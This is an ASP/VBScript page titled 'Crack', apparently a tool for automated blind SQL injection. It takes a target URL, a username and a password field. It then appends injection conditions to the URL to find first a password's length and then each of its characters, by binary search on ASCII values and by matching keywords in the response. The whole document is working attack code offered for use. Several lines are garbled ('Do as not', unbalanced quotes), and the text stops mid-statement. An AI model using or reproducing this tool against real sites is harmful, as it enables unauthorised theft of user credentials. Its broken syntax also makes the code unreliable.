program | Crack <%
Response.buffer=false
' To prevent the program from falling into a dead loop, initialize some of the maximum retry values
Dim MAXPASSLEN,MAXPASSASC
Maxpasslen=20 ' Password maximum length
Maxpassasc=20
' = = = = = Character conversion
Function Bytes2bstr (vIn)
Strreturn = ""
For j = 1 to LenB (vIn)
Thischarcode = AscB (MidB (vin,j,1))
If Thischarcode < &h80 Then
Strreturn = Strreturn & Chr (Thischarcode)
Else
Nextcharcode = AscB (MidB (vin,j+1,1))
Strreturn = Strreturn & Chr (CLng (thischarcode) * &h100 + CInt (nextcharcode))
j = j + 1
End If
Next
Bytes2bstr = Strreturn
End Function
' Below is the page content ==========
Function GetUrl (URL)
Set Osend=createobject ("Microsoft.XMLHTTP")
SourceCode = Osend.open ("Get", Url,false)
Osend.send ()
SourceCode = Bytes2bstr (osend.responsebody)
GETURL = SourceCode
End Function
' The following is the decision to return the page effect
Function Chkpage (Sourcecode,suckey,errkey)
If Instr (Sourcecode,suckey) > 0 Then
Chkpage=true ' page returns success
Exit function
End If
If Instr (Sourcecode,errkey) > 0 Then
Chkpage=false ' page error
Exit function
End If
Chkpage=false ' keyword information is incorrect or the page is not connected
Response.Write ("Wrong keyword information or page not connected")
Response.End
End Function
' Start cracking
' Dim Url,username,password,suckey,
Dim Passlenurl
Dim Passlen
Dim Chkpasslen
If request ("Begin") <> "" Then
Response.Cookies ("Passlen") =0
Url=request ("url")
Username=request ("username")
Password=request ("password")
Suckey=request ("Suckey")
Errkey=request ("Errkey")
Response.Write ("First step, crack password length <BR>")
Passlen = 1
Chkpasslen = False
Do as not Chkpasslen
Passlenurl = URL & username & "'%20and%20len (" & password & ") =" & Passlen & "%20and%20 ' 1 ' = ' 1"
Response.Write ("Current test password digits are" "& Passlen &" ", Please wait ......<br>")
Chkpasslen = Chkpage (GetUrl (Passlenurl), Suckey,errkey)
If Chkpasslen Then
Response.Write ("Success!!! The number of password digits has been tested, start testing the specific digits <BR> ")
Exit Do
Else
Response.Write ("No, go on with the next test!") <BR> ")
End If
If Passlen > Maxpasslen Then
Response.Write ("Password digits could not be tested, please confirm that you have this user or readjust password length range")
Response.End
Exit Do
End If
Passlen = Passlen + 1
Loop
Response.Write ("<font color=red> has tested the password length to" & Passlen & "and started testing the specific password value </FONT><BR><BR>" )
' Loop every bit
Dim Asc1,asc2,asc10,asc20,ascstr
' Dim Ascarr (Passlen)
Dim Chkpass,asctemp1,asctemp,count
Ascstr = ""
For I=1 to Passlen
Chkpass = False
ASC1 = 33
ASC2 = 126
Response.Write "Start cracking" & I & "bit password <BR>"
' Using the binary method to take the ASC code range
Count=1
Suc=false
Do as not suc
Asctemp1=asctemp
if (ASC2-ASC1) mod 2 = 1 Then
asctemp= (asc2-asc1-1)/2
Else
asctemp= (ASC2-ASC1)/2
End If
Response.Write "Delimited password range:" & Chr (ASC1) & "--" & Chr (ASC2) & Passlenurl & "<BR>"
Passlenurl = Url & username & '%20and%20asc (Mid (password, "&i&", 1) >= "& Int (ASC1) &"%20and% 20ASC (Mid (password, &i&, 1)) <= "& Int (ASC2) &"%20and%20 ' 1 ' = ' 1 "
Response.Write "Delimited password range:" & Chr (ASC1) & "--" & Chr (ASC2) & Passlenurl & "<BR>"
Chkpass = Chkpage (GetUrl (Passlenurl), Suckey,errkey)
If Asc1 = ASC2 = 126 and not Chkpass then
Response.Write "Password is not within the range of ASC code set"
Response.End
Exit Do
End If
If Chkpass Then
Asc10=asc1
Asc20=asc2
Response.Write ("Password within the range <BR>")
If ASC1=ASC2 then Suc = True
ASC2 = Asc1 + asctemp
Else
ASC1 = ASC20-ASCTEMP1
ASC2 = Asc20
Response.Write ("not within that range, try another range <BR>")
End If
Count=count+1
If Count>maxpassasc Then
Response.Write ("Dead Circle!") ")
Response.End
Exit Do
End If
Loop
Ascstr=ascstr & Chr (ASC1)
Response.Write "<BR> Current cracking Progress (" "&Ascstr&" ") <BR><BR><BR><BR>"
Next
Response.Write "<font size=7 color=red